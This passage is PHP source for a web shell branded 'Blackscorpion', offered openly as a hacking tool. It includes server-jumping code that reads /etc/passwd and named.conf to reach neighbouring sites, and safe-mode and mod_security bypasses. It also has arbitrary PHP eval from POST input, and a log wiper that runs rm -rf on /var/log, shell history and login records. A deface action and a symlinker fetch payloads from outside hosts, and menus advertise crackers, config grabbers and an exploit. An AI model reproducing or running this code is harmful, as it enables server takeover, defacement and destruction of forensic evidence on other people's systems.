- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
- while($getss = fgets($fp)) {
- echo $getss;
- }
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } elseif(preg_match("/vhosts|vhost/", $dir)) {
- preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace("www.", "", $url);
- $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
- if(is_dir($web_vh) === true) {
- if(is_readable($web_vh)) {
- $i++;
- $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$web_vh.'"><input type=submit value=">>"></form></td>
- <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
- if(is_writable($web_vh)) {
- $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$web_vh.'"><input type=submit value=">>"></form></td>
- <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
- }
- echo $jrw."<br>";
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ".$i." Sites ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- bing("ip:$ip");
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } else {
- echo "<pre>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_idx_jump) {
- $user_jumping_dir = "/home/$user_idx_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$user_jumping_dir.'"><input type=submit value=">>"></form></td>
- <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
- if(is_writable($user_jumping_dir)) {
- $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$user_jumping_dir.'"><input type=submit value=">>"></form></td>
- <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo "---------------";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_idx_jump) {
- echo " => <br><br><a href=http://$dj target=_blank>$dj</a> <br><br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br><br>Total ".$i." Jumping Sites <br><br>".$ip;
- }
- echo "</pre>";
- }
- echo "</div>";
- BlackscorpionFooter();
- }
- function actionsymlinkbyblackscorpion(){
- BlackscorpionHeader();
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function sym($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('symlink.php')) {
- echo " <iframe src=\"symlink.php\" height=\"600\" width=\"100%\"></iframe>";
- } else {
- if(sym("https://raw.githubusercontent.com/sistech711/symlinker/master/symlink.php","symlink.php")) {
- echo " <iframe src=\"symlink.php\" height=\"600\" width=\"100%\"></iframe>";
- } else {
- echo "<center><font color=red>Failed to Access symlinker please upload it manually. Please Check Internet connected and file permission</font></center>";
- }
- }
- BlackscorpionFooter();
- }
- function actionAbout() {
- BlackscorpionHeader();
- echo "
- <style>
- .font{
- text-transform: capitalize;
- text-align: center;
- }
- </style>
- <center>
- <h1>About Me</h1>";
- ?>
- <pre>
- ____ _ _ _
- | __ )| | __ _ ___| | _____ ___ ___ _ __ _ __ (_) ___ _ __
- | _ \| |/ _` |/ __| |/ / __|/ __/ _ \| '__| '_ \| |/ _ \| '_ \
- | |_) | | (_| | (__| <\__ \ (_| (_) | | | |_) | | (_) | | | |
- |____/|_|\__,_|\___|_|\_\___/\___\___/|_| | .__/|_|\___/|_| |_|
- |_|
- ____ _ _ _ __
- / ___| __ _| |_ __ ___ __ _ _ __ / \ _ __(_)/ _|
- \___ \ / _` | | '_ ` _ \ / _` | '_ \ / _ \ | '__| | |_
- ___) | (_| | | | | | | | (_| | | | | / ___ \| | | | _|
- |____/ \__,_|_|_| |_| |_|\__,_|_| |_| /_/ \_\_| |_|_|
- Tag Line: Born to Break Your Security ~ Salman Arif Khan
- </pre>
- <?php
- echo "<h2><a href='https://www.google.com/search?q=Hacked by ProBros | Blackscorpion'><q>Blackscorpion </q></a></h2>
- <img src='https://scontent.fisb3-1.fna.fbcdn.net/v/t31.0-8/26114364_282922625564401_5726606951952680138_o.png?_nc_cat=0&_nc_eui2=v1%3AAeGexq8pdb-rOQQnrfw8JqATyRVcjYSc8O6NOPMv3P27boKX9PPKyDG7eCXEBDEugMVoYfsZ0djtBVwoFMA7WTUK6OgIfsSlV4U3MDEtWzPgUUyqYQrZ7gqtDn_EfKy6nV0&oh=f86713eac41c7c54b11e790534c82fb7&oe=5B3B23EB' height='300' width='400' />
- <div class='font'><span><q>My Name is Salman Arf Khan , Cyber Name Blackscorpion.<br>I Love to Explore Everything.<br>Break Security.<br>And Other Hacking STuff :P <br>Contact:: https://www.facebook.com/blackhat.sh <br>My Github ::::: https://www.github.com/sistech711 <br>Our Website:::<a href=\"https://www.sprotechs.com\"/>Sprotechs</a><br></span>
- <span><font>Greetz ~<marquee width='80%''>Blackscorpion , Devil killer, Black Python , Owl Master , Frostbyte , SHK v3n0m , And All Muslim Hackers</marquee></span></font></span></div></center>";
- BlackscorpionFooter();
- }
- function actionSafeMode() {
- $temp='';
- ob_start();
- switch($_POST['p1']) {
- case 1:
- $temp=@tempnam($test, 'cx');
- if(@copy("compress.zlib://".$_POST['p2'], $temp)){
- echo @file_get_contents($temp);
- unlink($temp);
- } else
- echo 'Sorry... Can\'t open file';
- break;
- case 2:
- $files = glob($_POST['p2'].'*');
- if( is_array($files) )
- foreach ($files as $filename)
- echo $filename."\n";
- break;
- case 3:
- $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
- curl_exec($ch);
- break;
- case 4:
- ini_restore("safe_mode");
- ini_restore("open_basedir");
- include($_POST['p2']);
- break;
- case 5:
- for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
- $uid = @posix_getpwuid($_POST['p2']);
- if ($uid)
- echo join(':',$uid)."\n";
- }
- break;
- }
- $temp = ob_get_clean();
- BlackscorpionHeader();
- echo '<center><h1>Safe mode bypass</h1></center><center><div class=content>';
- echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
- if($temp)
- echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
- echo '</div><br>';
- echo '<h1>Safe Mode</h1>';
- echo '<div class="content">';
- echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
- echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a><form method="post"><input type=submit name=lite value=\'Litespeed\' /></center>';
- if(!empty($_POST['p2']) && isset($_POST['p2']))
- {
- $fil=fopen($GLOBALS['cwd'].".htaccess","w");
- fwrite($fil,'<IfModule mod_security.c>
- Sec------Engine Off
- Sec------ScanPOST Off
- </IfModule>');
- fclose($fil);
- }
- if(!empty($_POST['p1'])&& isset($_POST['p1']))
- {
- $fil=fopen($GLOBALS['cwd']."php.ini","w");
- fwrite($fil,'safe_mode=OFF
- disable_functions=NONE');
- fclose($fil);
- }
- if(!empty($_POST['p3']) && isset($_POST['p3']))
- {
- $fil=fopen($GLOBALS['cwd'].".htaccess","w");
- fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
- AddType application/x-httpd-cgi .sh
- AddHandler cgi-script .pl
- AddHandler cgi-script .pl');
- fclose($fil);
- }
- if(isset($_POST['lite'])){
- $iniph = '<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>';
- $byph = "safe_mode = Off n disable_functions= ";
- $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
- file_put_contents("php.ini",base64_decode($byph));
- file_put_contents("ini.php",base64_decode($iniph));
- file_put_contents(".htaccess",base64_decode($comp));
- echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
- echo"</center>";
- }
- echo "<br><br /><br /></div>";
- echo '</div>';
- BlackscorpionFooter();
- }
- function actioncleanlogs(){
- BlackscorpionHeader();
- echo '<center><h1>Logs Cleaner</h1></center><center><div class=content>';
- echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
- echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
- exec("rm -rf /tmp/logs");
- exec("rm -rf /root/.ksh_history");
- exec("rm -rf /root/.bash_history");
- exec("rm -rf /root/.bash_logout");
- exec("rm -rf /usr/local/apache/logs");
- exec("rm -rf /usr/local/apache/log");
- exec("rm -rf /var/apache/logs");
- exec("rm -rf /var/apache/log");
- exec("rm -rf /var/run/utmp");
- exec("rm -rf /var/logs");
- exec("rm -rf /var/log");
- exec("rm -rf /var/adm");
- exec("rm -rf /etc/wtmp");
- exec("rm -rf /etc/utmp");
- exec("rm -rf $HISTFILE");
- exec("rm -rf /var/log/lastlog");
- exec("rm -rf /var/log/wtmp");
- shell_exec("rm -rf /tmp/logs");
- shell_exec("rm -rf /root/.ksh_history");
- shell_exec("rm -rf /root/.bash_history");
- shell_exec("rm -rf /root/.bash_logout");
- shell_exec("rm -rf /usr/local/apache/logs");
- shell_exec("rm -rf /usr/local/apache/log");
- shell_exec("rm -rf /var/apache/logs");
- shell_exec("rm -rf /var/apache/log");
- shell_exec("rm -rf /var/run/utmp");
- shell_exec("rm -rf /var/logs");
- shell_exec("rm -rf /var/log");
- shell_exec("rm -rf /var/adm");
- shell_exec("rm -rf /etc/wtmp");
- shell_exec("rm -rf /etc/utmp");
- shell_exec("rm -rf $HISTFILE");
- shell_exec("rm -rf /var/log/lastlog");
- shell_exec("rm -rf /var/log/wtmp");
- passthru("rm -rf /tmp/logs");
- passthru("rm -rf /root/.ksh_history");
- passthru("rm -rf /root/.bash_history");
- passthru("rm -rf /root/.bash_logout");
- passthru("rm -rf /usr/local/apache/logs");
- passthru("rm -rf /usr/local/apache/log");
- passthru("rm -rf /var/apache/logs");
- passthru("rm -rf /var/apache/log");
- passthru("rm -rf /var/run/utmp");
- passthru("rm -rf /var/logs");
- passthru("rm -rf /var/log");
- passthru("rm -rf /var/adm");
- passthru("rm -rf /etc/wtmp");
- passthru("rm -rf /etc/utmp");
- passthru("rm -rf $HISTFILE");
- passthru("rm -rf /var/log/lastlog");
- passthru("rm -rf /var/log/wtmp");
- system("rm -rf /tmp/logs");
- sleep(2);
- echo'<br>Deleting .../tmp/logs ';
- sleep(2);
- system("rm -rf /root/.bash_history");
- sleep(2);
- echo'<p>Deleting .../root/.bash_history </p>';
- system("rm -rf /root/.ksh_history");
- sleep(2);
- echo'<p>Deleting .../root/.ksh_history </p>';
- system("rm -rf /root/.bash_logout");
- sleep(2);
- echo'<p>Deleting .../root/.bash_logout </p>';
- system("rm -rf /usr/local/apache/logs");
- sleep(2);
- echo'<p>Deleting .../usr/local/apache/logs </p>';
- system("rm -rf /usr/local/apache/log");
- sleep(2);
- echo'<p>Deleting .../usr/local/apache/log </p>';
- system("rm -rf /var/apache/logs");
- sleep(2);
- echo'<p>Deleting .../var/apache/logs </p>';
- system("rm -rf /var/apache/log");
- sleep(2);
- echo'<p>Deleting .../var/apache/log </p>';
- system("rm -rf /var/run/utmp");
- sleep(2);
- echo'<p>Deleting .../var/run/utmp </p>';
- system("rm -rf /var/logs");
- sleep(2);
- echo'<p>Deleting .../var/logs </p>';
- system("rm -rf /var/log");
- sleep(2);
- echo'<p>Deleting .../var/log </p>';
- system("rm -rf /var/adm");
- sleep(2);
- echo'<p>Deleting .../var/adm </p>';
- system("rm -rf /etc/wtmp");
- sleep(2);
- echo'<p>Deleting .../etc/wtmp </p>';
- system("rm -rf /etc/utmp");
- sleep(2);
- echo'<p>Deleting .../etc/utmp </p>';
- system("rm -rf $HISTFILE");
- sleep(2);
- echo'<p>Deleting ...$HISTFILE </p>';
- system("rm -rf /var/log/lastlog");
- sleep(2);
- echo'<p>Deleting .../var/log/lastlog </p>';
- system("rm -rf /var/log/wtmp");
- sleep(2);
- echo'<p>Deleting .../var/log/wtmp </p>';
- sleep(4);
- echo '<br><br><p>Your Traces Has Been Successfully Deleted From the Server';
- echo"</td></tr></table>";
- BlackscorpionFooter();
- }
- function actionPhp() {
- if(isset($_POST['ajax'])) {
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
- ob_start();
- eval($_POST['p1']);
- $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
- echo strlen($temp), "\n", $temp;
- exit;
- }
- if(empty($_POST['ajax']) && !empty($_POST['p1']))
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
- BlackscorpionHeader();
- if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
- echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
- ob_start();
- phpinfo();
- $tmp = ob_get_clean();
- $tmp = preg_replace(array (
- '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
- '!td, th {(.*)}!msiU',
- '!<img[^>]+>!msiU',
- ), array (
- '',
- '.e, .v, .h, .h th {$1}',
- ''
- ), $tmp);
- echo str_replace('<h1','<h2', $tmp) .'</div><br>';
- }
- echo '<center><h1>Execution PHP-code</h1></center><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
- echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
- if(!empty($_POST['p1'])) {
- ob_start();
- eval($_POST['p1']);
- echo htmlspecialchars(ob_get_clean());
- }
- echo '</pre></div>';
- BlackscorpionFooter();
- }
- function actionFilesMan() {
- if (!empty ($_COOKIE['f']))
- $_COOKIE['f'] = @unserialize($_COOKIE['f']);
- if(!empty($_POST['p1'])) {
- switch($_POST['p1']) {
- case 'uploadFile':
- if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
- echo "Can't upload!";
- break;
- case 'mkdir':
- if(!@mkdir($_POST['p2']))
- echo "Can't create!";
- break;
- case 'delete':
- function deleteDir($path) {
- $path = (substr($path,-1)=='/') ? $path:$path.'/';
- $dh = opendir($path);
- while ( ($item = readdir($dh) ) !== false) {
- $item = $path.$item;
- if ( (basename($item) == "..") || (basename($item) == ".") )
- continue;
- $type = filetype($item);
- if ($type == "dir")
- deleteDir($item);
- else
- @unlink($item);
- }
- closedir($dh);
- @rmdir($path);
- }
- if(is_array(@$_POST['f']))
- foreach($_POST['f'] as $f) {
- if($f == '..')
- continue;
- $f = urldecode($f);
- if(is_dir($f))
- deleteDir($f);
- else
- @unlink($f);
- }
- break;
- case 'paste':
- if($_COOKIE['act'] == 'copy') {
- function copy_paste($c,$s,$d){
- if(is_dir($c.$s)){
- mkdir($d.$s);
- $h = @opendir($c.$s);
- while (($f = @readdir($h)) !== false)
- if (($f != ".") and ($f != ".."))
- copy_paste($c.$s.'/',$f, $d.$s.'/');
- } elseif(is_file($c.$s))
- @copy($c.$s, $d.$s);
- }
- foreach($_COOKIE['f'] as $f)
- copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
- } elseif($_COOKIE['act'] == 'move') {
- function move_paste($c,$s,$d){
- if(is_dir($c.$s)){
- mkdir($d.$s);
- $h = @opendir($c.$s);
- while (($f = @readdir($h)) !== false)
- if (($f != ".") and ($f != ".."))
- copy_paste($c.$s.'/',$f, $d.$s.'/');
- } elseif(@is_file($c.$s))
- @copy($c.$s, $d.$s);
- }
- foreach($_COOKIE['f'] as $f)
- @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
- } elseif($_COOKIE['act'] == 'zip') {
- if(class_exists('ZipArchive')) {
- $zip = new ZipArchive();
- if ($zip->open($_POST['p2'], 1)) {
- chdir($_COOKIE['c']);
- foreach($_COOKIE['f'] as $f) {
- if($f == '..')
- continue;
- if(@is_file($_COOKIE['c'].$f))
- $zip->addFile($_COOKIE['c'].$f, $f);
- elseif(@is_dir($_COOKIE['c'].$f)) {
- $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
- foreach ($iterator as $key=>$value) {
- $zip->addFile(realpath($key), $key);
- }
- }
- }
- chdir($GLOBALS['cwd']);
- $zip->close();
- }
- }
- } elseif($_COOKIE['act'] == 'unzip') {
- if(class_exists('ZipArchive')) {
- $zip = new ZipArchive();
- foreach($_COOKIE['f'] as $f) {
- if($zip->open($_COOKIE['c'].$f)) {
- $zip->extractTo($GLOBALS['cwd']);
- $zip->close();
- }
- }
- }
- } elseif($_COOKIE['act'] == 'tar') {
- chdir($_COOKIE['c']);
- $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
- BlackscorpionEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
- chdir($GLOBALS['cwd']);
- }
- unset($_COOKIE['f']);
- setcookie('f', '', time() - 3600);
- break;
- default:
- if(!empty($_POST['p1'])) {
- BlackscorpionsetCoockie('act', $_POST['p1']);
- BlackscorpionsetCoockie('f', serialize(@$_POST['f']));
- BlackscorpionsetCoockie('c', @$_POST['c']);
- }
- break;
- }
- }
- BlackscorpionHeader();
- echo '<center><h1>File manager</h1></center><div class=content><script>p1_=p2_=p3_="";</script>';
- if(isset($_POST['p1']) && $_POST['p1']=='deface') {
- $def = file_get_contents('http://hexinjector.cu.ma/pwd/deface.php');
- file_put_contents($_POST['c'].$_POST['p2'],$def);
- }
- $dirContent = BlackscorpionScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
- if($dirContent === false) { echo 'Can\'t open this folder!';BlackscorpionFooter(); return; }
- global $sort;
- $sort = array('name', 1);
- if(!empty($_POST['p1'])) {
- if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
- $sort = array($match[1], (int)$match[2]);
- }
- echo "<script>
- function sa() {
- for(i=0;i<d.files.elements.length;i++)
- if(d.files.elements[i].type == 'checkbox')
- d.files.elements[i].checked = d.files.elements[0].checked;
- }
- </script>
- <table width='100%' class='main' cellspacing='0' cellpadding='2'>
- <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
- $dirs = $files = array();
- $n = count($dirContent);
- for($i=0;$i<$n;$i++) {
- $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
- $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
- $tmp = array('name' => $dirContent[$i],
- 'path' => $GLOBALS['cwd'].$dirContent[$i],
- 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
- 'perms' => BlackscorpionColor($GLOBALS['cwd'] . $dirContent[$i]),
- 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
- 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
- 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
- );
- if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
- $files[] = array_merge($tmp, array('type' => 'file'));
- elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
- $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
- elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
- $dirs[] = array_merge($tmp, array('type' => 'dir'));
- }
- $GLOBALS['sort'] = $sort;
- function BlackscorpionCmp($a, $b) {
- if($GLOBALS['sort'][0] != 'size')
- return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
- else
- return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
- }
- usort($files, "BlackscorpionCmp");
- usort($dirs, "BlackscorpionCmp");
- $files = array_merge($dirs, $files);
- $l = 0;
- foreach($files as $f) {
- echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BlackscorpionViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
- .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
- $l = $l?0:1;
- }
- echo "<tr><td colspan=5>
- <input type=hidden name=a value='FilesMan'>
- <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
- <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
- <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
- if(class_exists('ZipArchive'))
- echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
- echo "<option value='tar'>Compress (tar.gz)</option>";
- if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
- echo "<option value='paste'>Paste / Compress</option>";
- echo "</select> ";
- if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
- echo "file name: <input type=text name=p2 value='Blackscorpion_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
- echo '</select> <input type="submit" value=">>"></td><br><td colspan="2" align="right" width="1"> </td></tr>
- </form></table></div>';
- BlackscorpionFooter();
- }
- function actionShells() {
- BlackscorpionHeader();
- echo '<center><h1>Shells By Blackscorpion </h1></center><div class="content">
- <br>
- <table border="1%" align="center" cellpadding="10">
- <tr>
- <td>Click And Get The Shells</td>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="dhanush" value ="Dhanush Shell">
- </td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="imageshell" value ="Blackscorpion Image Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
- BlackscorpionFooter();
- }
- function actionTools(){
- BlackscorpionHeader();
- echo '<center><h1>Tools By Blackscorpion </h1></center><div class="content">
- <br>
- <table border="1%" align="center" cellpadding="10">
- <tr>
- <td>Click And Get The Tools</td>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="Symlinker" value ="Devil Killer Symlinker"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="uploader" value ="Uploader By Blackscorpion "></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="mass" value ="Mass Defacer"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="BlackscorpionCmd" value ="AnonGhosts Console"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
- BlackscorpionFooter();
- }
- function actionpriv8(){
- BlackscorpionHeader();
- echo '<center><h1>Priv8 Tools By Black Scorp</h1></center><div class="content">
- <br>
- <table border="1%" align="center" cellpadding="10" class="input">
- <tr>
- <td>Just Click And Get The Tools</td>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="jumping" value ="Server Jumping" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="blackscorpionbypass" value ="2018 Bypass Shell by Blackscorpion" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="rdpcrack" value ="RDP Cracker by Blackscorpion" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="confg" value ="Config Grabber" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="shellfinder" value ="Shell Finder By Blackscorpion" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="csrf" value ="wp 0day exploit CSRF" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="joomre" value ="Joomla Reverse Ip" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="dogi" value ="Image Shell" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="minifud" value ="Fud Mini Shell" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
- <input type = "submit" name="configgrabber1" value ="Config Grabber by Blackscorpion" class="input"></td></tr>
- <tr><td>
- <form action="" method="post">
